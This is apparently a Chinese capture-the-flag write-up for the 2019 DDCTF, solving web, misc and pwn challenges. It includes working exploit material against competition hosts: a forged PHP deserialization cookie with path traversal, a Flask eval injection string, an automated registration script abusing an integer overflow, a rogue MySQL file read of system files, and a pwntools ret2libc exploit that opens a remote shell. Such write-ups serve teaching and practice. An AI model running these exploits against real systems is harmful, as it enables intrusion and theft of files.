2019DDCTF-wp

Web

滴~

首先url的jpg参数很可疑,最后发现是两次base64解码再进行一次hex解码,接着试着读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# index.php

<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>

偶然谷歌到一篇文章:WP for i春秋_百度杯CTF比赛(九月第一场
于是仿照原题的思路,这里提供了一篇博客,还有一个日期,查看此篇博客的对应日期的文章,发现有一个.practice.txt.swp很可疑,随手尝试了一下,发现不行,神奇的把.去掉之后竟然真的有!!!!结合index.php读源码继续读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

接下来就是很简单变量覆盖了。
image.png

WEB 签到题

访问网页,发现没有登录权限,简单的翻了一下网站,发现一个js很可疑

尝试了一下改成admin得到提示跟源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# app/Session.php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}
$ddctf = new Session();
$ddctf->index();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# app/Application.php
Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

简单的阅读了一下源码,需要伪造cookie反序列化触发__destruct拿flag,但是伪造cookie需要key,最后发现这里有一个nickname很可疑,谷歌了一下发现是格式化字符串漏洞,之前LCTF也出过这个考点。
前往:Simple blog wp
漏洞具体分析可见:从WordPress SQLi谈PHP格式化字符串问题
image.png
拿到key之后就可以伪造了,这里本地构造,绕过../用常用的姿势双写绕过即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Application{
var $path = '';
}
$dd=new Application();
$dd->path='....//config/flag.txt';
$userdata = array(
'session_id' => '4a15dc6481abf102a46e2a40b159d86f',
'ip_address' => '116.7.245.179',
'user_agent' => 'aa',
'user_data' => $dd,
);
$cookiedata = serialize($userdata);
$eancrykey='EzblrbNS';
$hash=md5($eancrykey.$cookiedata);
echo $cookiedata.md5($eancrykey.$cookiedata);

image.png

Upload-IMG

随意上传一个一个jpg,返回需要包含phpinfo,在任意位置加入phpinfo,却显示请上传jpg。说明后端是经过库操作判断的。这里想到此前审dedecms留下的锅—-图片绕gd库。
工具:https://xz.aliyun.com/t/416
接下来就很简单了,上传一个正常的jpg,把返回回来的图片经过脚本伪造,然后上传即可。

homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f96147e657'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

通过阅读源码发现这里逻辑写的很死,而且还设置了白名单,如果想要拿flag,需要先buy_handler之后再get_flag_handler,然后再buy_handler函数把func:consume_point加进了event导致检验不过。这里一个eval函数,里面的action可控,python使用eval函数很危险。这里可以用#相当于注释掉后面的语句,举个例子

1
eval(view_handler#_handler)  返回view_hanler函数

于是这里就可以调用任意带有一个参数的函数,结合上面分析,拿flag需要先buy_handler之后再get_flag_handler,这里trigger_event正好能接受一个参数。于是构造:

1
action:trigger_event%23;action:buy;8%23action:get_flag;

最后flag再session,用P神脚本解码即可得到flag

大吉大利,今晚吃鸡~

参考:2018护网杯Aurora战队wp
这题考察的是溢出漏洞。
随意fuzz抓包改了一下商品价格,发现有效。
image.png
image.png
然后支付订单的时候显示余额不足,这里后台应该是进行了减操作

1
100-单价

这里根据cookie的提示,后台是go写的,于是乎可能是uint64或者uint32,根据上面文章的操作,发现uint32的时候可以买到票。接下来需要移除100个玩家,想着有没有sql注入可以一次性移除,fuzz之后没测出来,粗暴了重新注册了一个号,移除,发现成功了,接下来跑脚本拿到flag


image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- encoding: utf-8 -*-
import requests
import time

url3 = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967395'
url4 = 'http://117.51.147.155:5050/ctf/api/search_bill_info'
url5 = 'http://117.51.147.155:5050/ctf/api/pay_ticket'
url6 = 'http://117.51.147.155:5050/ctf/api/search_ticket'

headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64…) Gecko/20100101 Firefox/66.0',
'Cookie': ''
}

headers_final = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64…) Gecko/20100101 Firefox/66.0',
'Cookie': 'user_name=nnn; REVEL_SESSION=1a35824741c49e5ea49cd893106cf1e8'
}

for i in xrange(7601,8000):
url1 = 'http://117.51.147.155:5050/ctf/api/register?name=Decade'+str(i)+'&password=asdasdasd'
register = requests.get(url1)
time.sleep(0.5)

url2='http://117.51.147.155:5050/ctf/api/login?name=Decade'+str(i)+'&password=asdasdasd'
login = requests.get(url2)
a=login.headers['Set-Cookie']
a=a.replace(" Path=/,", "")
a=a.replace("; Path=/", "")
headers['Cookie'] = a
time.sleep(0.5)
buy_ticket = requests.get(url3, headers=headers)
search_bill_info = requests.get(url4, headers=headers)
bill_id = search_bill_info.json()['data'][0]['bill_id']
time.sleep(0.5)
pay_ticket = requests.get(url5, params={'bill_id': bill_id}, headers=headers)
time.sleep(0.5)
result = requests.get(url6, headers=headers)
idd=result.json()['data'][0]['id']
ticket=result.json()['data'][0]['ticket']
url_final='http://117.51.147.155:5050/ctf/api/remove_robot?ticket='+str(ticket)+'&id='+str(idd)
print url_final
final=requests.get(url_final,headers=headers_final)

mysql弱口令

这里考点是伪造mysql服务端任意读文件。这里有点小坑,题目给的脚本里面的8123端口不能改。
伪造服务端脚本:Rogue-MySql-Server

做题思路:输入一个你伪造好的mysql服务端的ip,同时端口填起的服务端口,后台会先去访问ip,会先判断的得到的进程里面有没有mysqld,如果没有会判断没有装mysql服务,如果有,就回去连接服务器的mysql,接着就是任意文件读取。

这里读了/etc/passwd,发现没什么特别的用户,于是直接读root的.bash_history文件,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
2019-04-13 12:21:58,817:INFO:Result: "history  -w
history -w
ls
cat ~/.bash_history
ls
ls
pwd
cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py
ls
whoami
history
exit
ls
cd ctf_web_
cd ctf_web_1/
ls
history
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
LS
ls
cd ..
ls
cd ctf_web_2/
ls
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
source ctf_web_2/bin/activate
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
pip install supervisor
supervisor -c /home/dc2-user/ctf_web_2/supervisor.conf
supervisorctl status
ls
cat supervisor.conf
ls
pwd
netstat -tlnp
curl http://127.0.0.1:5000
curl http://127.0.0.1:5050
ls
ps -aux | grep 5000
kill -9 13837
kill -9 18893
kill -9 18962
ls
ps -aux | grep 5000
ps -aux | grep 5000
cd ..
ls
pwd
cd /home/dc2-user/ctf_web_1
ls
cd web_1/
ls
cat web_1.out
ls
pstree -ap|grep gunicorn
kill -9 14070 19310
pstree -ap|grep gunicorn
kill -9 19357
ls
pstree -ap|grep gunicorn
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
/home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn manager:app -b 0.0.0.0:5050 > web_1.out 2>&1 &
ls
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
tail web_1.out
ls
cd ..
ls
cd ..
ls
cd ctf_web_2/
ls
vim app/
ls
cd app/
ls'
ls
cd main/
ls
vim views.py
ls
cd ..
ls
cd ..
ls
tail web_2.out
tail web_2.out
la
ls
cd log/
ls
cat gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.err
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
tail gunicorn.log
ls
ls
cd ..
ls
tail gunicorn.log
tail gunicorn.log
ls
tail log/gunicorn.log
tail log/gunicorn.log
tail log/gunicorn.log
ls
tail -20 log/gunicorn.log
tail -20 log/gunicorn.log
tail -50 log/gunicorn.
tail -50 log/gunicorn.log
cat log/gunicorn.log
ls
tail -50 log/gunicorn.err
tail -100 log/gunicorn.err
ls
ls
ls
ps -aux | grep 5000
kill -9 18982
kill -9 22189
ps -aux | grep 5000
ps -aux | grep 5000
pwd
ps -aux | grep 5000
netstat -tlnp
curl http://127.0.0.1:5000/index.html
ps -aux | grep 5000
ps -aux | grep supervisor
kill -9 20141
ls
ps -aux | grep supervisor
ps -aux | grep 5000
kill -9 22718
kill -9 22723
kill -9 22736
ps -aux | grep 5000
ls
nohup /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 0.0.0.0:5000 > web_2.out 2>&1 &
ps -aux | grep 5000
ls
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
tail web_2.out
ls
cd ..
ks
ls
...此处省略

这里可以看到有一个view.py文件,也试着去读取一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql curl@localhost database:security table:flag

def weak_scan():

agent_port = 8123
result = []
target_ip = request.args.get('target_ip')
target_port = request.args.get('target_port')
if not target_ip or not target_port:
return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
if not target_port.isdigit():
return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
if not checkip(target_ip):
return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
if is_inner_ipaddress(target_ip):
return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
tmp_agent_result = get_agent_result(target_ip, agent_port)
if not tmp_agent_result[0] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

tmp_result =mysql_scan(target_ip, target_port)

if not tmp_result['Flag'] == 1:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
else:
tem_result = tmp_agent_result[1]
result.append(base64.b64encode(tem_result))
result.append(tmp_result)
return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if p.match(ip):
return True
else:
return False

def curl(url):
tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
tmp.wait()
result = tmp.stdout.readlines()
return result

def get_agent_result(ip, port):

str_port = str(port)
url = 'http://'+ip + ':' + str_port
curl(url)
if not os.path.exists('content.log'):
return (0, '未开启agent')
with open('content.log') as f1:
tmp_list = f1.readlines()
response = ''.join(tmp_list)
os.remove('content.log')
if not 'mysqld' in response:
return (0, response)
else:
return (1, response)


def ip2long(ip_addr):

return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

ip = ip2long(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
ip2long('10.0.0.0') >> 24 == ip >> 24 or \
ip2long('172.16.0.0') >> 20 == ip >> 20 or \
ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

port = int(port)
weak_user = ['root', 'admin', 'mysql']
weak_pass = ['', 'mysql', 'root', 'admin', 'test']
Flag = 0
for user in weak_user:
for pass_wd in weak_pass:
if mysql_login(ip,port, user, pass_wd):
Flag = 1
tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
return tmp_dic
else:
tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
return tmp_dic



def mysql_login(host, port, username, password):
'''mysql login check'''

try:
conn = MySQLdb.connect(
host=host,
user=username,
passwd=password,
port=port,
connect_timeout=1,
)
print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
conn.close()
return True
except MySQLdb.Error, e:

print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
return False

发现有flag的提示,再数据库中,于是直接读取数据库文件,拿到flag

1
/var/lib/mysql/security/flag.ibd

欢迎报名DDCTF

经过fuzz,发现后台过滤了select,and等几个关键字,然后不小心扫源码发现index.phg的源码(后面给出),但是后来好像删了。发现这个页面注入不太可能。然后尝试XSS,发现再content字段可以xss成功。

接着抓取前端源码
image.png
然后发现一个奇怪的php页面。需要参数id,于是get一个id,发现返回头有gbk??根据题目hint,尝试宽字节注入,获得flag。
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php
//
if(!empty($_POST))
{
if(!empty($_POST['title']) && !empty($_POST['username']) && !empty($_POST['content']))
{
include('connect.php');
$title = str_replace("'","",$_POST['title']);
$title = str_replace("\\","",$title);
$content = str_replace("'","",$_POST['content']);
$content = str_replace("\\","",$content);
$username = str_replace("'","",$_POST['username']);
$username = str_replace("\\","",$username);
$time = date("Y-m-d h:i:s",time());

if(preg_match("/(select|union|and)/i",$title)||preg_match("/(select|union|and)/i",$username)||preg_match("/(select|union|and)/i",$content))
{
echo "OH,It's meaningless to do this~. Calling 110!!!";
exit();
}
if(preg_match("/(href|window|iframe|location)/i",$title)||preg_match("/(href|window|iframe|location)/i",$username)||preg_match("/(href|window|iframe|location)/i",$content))
{
#echo "OH,It's meaningless to do this~. Calling 110!!!";
$info = "受影响行数 0 ";
echo "<script type='text/javascript'> alert('{$info}'); </script>";
exit();
}


$sqlupdate = "INSERT INTO comment (username,title,content,time) VALUES ('$username','$title', '$content','$time')";
// 执行修改或者添加
$result = mysqli_query($connect, $sqlupdate);
// 返回受影响的函数
$rows = mysqli_affected_rows($connect);
$info = "受影响行数 {$rows} ";

// 保证操作成功了,就跳转
if($rows > 0 )
{
$info .= ' 报名成功';
echo "<script type='text/javascript'> alert('{$info}'); </script>";
}
else
{
$info .= ' 报名失败';
echo "<script type='text/javascript'> alert('{$info}'); </script>";
}
}
}

?>

<!DOCTYPE html>

<html lang="en">

<head>
<meta charset="utf-8" />
<title>DDCTF报名</title>
<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<link href="css/components.min.css" rel="stylesheet" id="style_components" type="text/css" />

<body >

<div class="page-content" >

<div class="row " >
<div class="col-md-12" >

<div class="portlet light bordered" >

<hr>
<h4>DDCTF报名</h4>
<form class="form-horizontal" role="form" action="" method="post">

<div class="form-group">
<label for="inputname" class="col-md-2 control-label">姓名</label>

<div class="col-md-4">
<div class="input-icon">
<i class="fa fa-user"></i>
<input type="text" class="form-control" id="username" name="username" placeholder=""> </div>
</div>
</div>

<div class="form-group">
<label for="nickname" class="col-md-2 control-label">昵称</label>

<div class="col-md-4">
<div class="input-icon">
<i class="fa fa-user"></i>
???LINES MISSING

MISC

真签到题

1
DDCTF{return DDCTF::get(2019)->flagOf(0);}

北京地铁

解压文件发现有一个bmp文件,丢进stegsolve发现红色通道左上角有点东西,发现是个base64编码的东西,根据题目hint,这是一个密文,于是寻找key


接下来这个key,虽然题目给了hint,但是还是很脑洞。

随手尝试了一下key: weiguancun,竟然解出来了23333

1
DDCTF{Q*2!x@B0}

[PWN] strike

先checksec分析:

1
2
3
4
5
Arch:     i386-32-little`
`RELRO: Partial RELRO`
`Stack: No canary found`
`NX: NX enabled`
`PIE: No PIE (0x8048000)

没开canary,没开PIE。
IDA分析,发现这里有个漏洞:

只判断了读入的nbytes是否大于63。然后这里很明显,和63比较时是有符号整数比较,输出是无符号数比较,相当于出题人给提示了。下面的read函数的nbytes参数类型是size_t,也是无符号数,所以这里有个栈溢出漏洞。
跑一下程序,发现读用户名的时候有泄露。
image.png
gdb看看有没有什么值得泄露的东西:
image.png
第一个框是输入开始的地方,我只按了个回车所以只有0x0a。前面看到0xffffd05c存的是返回地址,所以第二个红框的就很符合我们的要求。第一个是跟返回地址相关的值,第二个可以leak出libc偏移。
这里之所以要leak出返回地址相关的值,是因为在main函数最后有个骚操作,相当于低级的栈溢出防护。把esp做了改动,来源于栈上的数据。实际上这个位置也在我们溢出的范围,所以只要构造好esp就好了。
image.png
一切都准备好了,ret2libc搞起。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
#io=process("./xpwn")
io=remote("116.85.48.105",5005)
elf=ELF("xpwn")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("libc.so.6")

libc_setbuf=libc.symbols['setbuf']
libc_system=libc.symbols['system']
libc_binsh=libc.search("/bin/sh").next()
'''
b *0x8048622
b *0x804871d
b *0x804872d
'''
#gdb.attach(io)
io.recvuntil("name: ")
io.sendline('a'*36)
io.recvuntil("Hello ")
message=io.recvuntil("Please")
message=message[36:-6]
print hex(u32(message[:4])),hex(u32(message[4:8])),hex(u32(message[8:12]))
got_addr=u32(message[0:4])-0xa
origin_ecx=u32(message[4:8])+0x18
setbuf_addr=u32(message[8:12])-21
io.recvuntil("password: ")

print hex(setbuf_addr)
print hex(libc_setbuf)

libcbase=setbuf_addr-libc_setbuf
system_addr=libcbase+libc_system
binsh_addr=libcbase+libc_binsh

#print hex(system_addr)
#print hex(binsh_addr)

length=str(-10)
io.sendline(length)

payload='a'*0x44
payload+=p32(origin_ecx)
payload+='a'*(0x60-0x44-0x4)
payload+=p32(system_addr)
payload+='a'*4
payload+=p32(binsh_addr)
io.send(payload)
io.recvuntil("bye!\n")
io.interactive()

get flag

image.png

Wireshark

到处对象,可以看到这个流量包主要是访问tools.jb51.net网页,上传图片跟密钥然后生产加密的图片,可以看到,这里有两个图片,一个是肯定是加密后的图片,既然需要key,可能key就藏在这张图里面,导出打开发现高度有点不对劲,于是用010修改高度,得到key,接下来去tools.jb51.net,顺利的解得flag

image.png
image.png

联盟决策大会

了解此加密原理:https://blog.mythsman.com/2015/10/07/2/
只不过这里是分成了两组,最原始的明文被加密后至少需要2个shadow即可解密明文,然后题目的意思应该是再把着两个shadow再进行一次Shamir加密,只要逆回去解就行了
参考:plaidctf wp
直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from libnum import *
import binascii

def shamir(pairs,p):
res = 0
for i, pair in enumerate(pairs):
x, y = pair
top = 1
bottom = 1
for j, pair in enumerate(pairs):
if j == i:
continue
xj, yj = pair
top = (top * (-xj)) % p
bottom = (bottom * (x - xj)) % p
res += (y * top * invmod(bottom, p)) % p
res %= p

#print res
return res


pairs1 = []
pairs1 += [(1, 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A)]
pairs1 += [(2, 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7)]
pairs1 += [(4, 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC)]
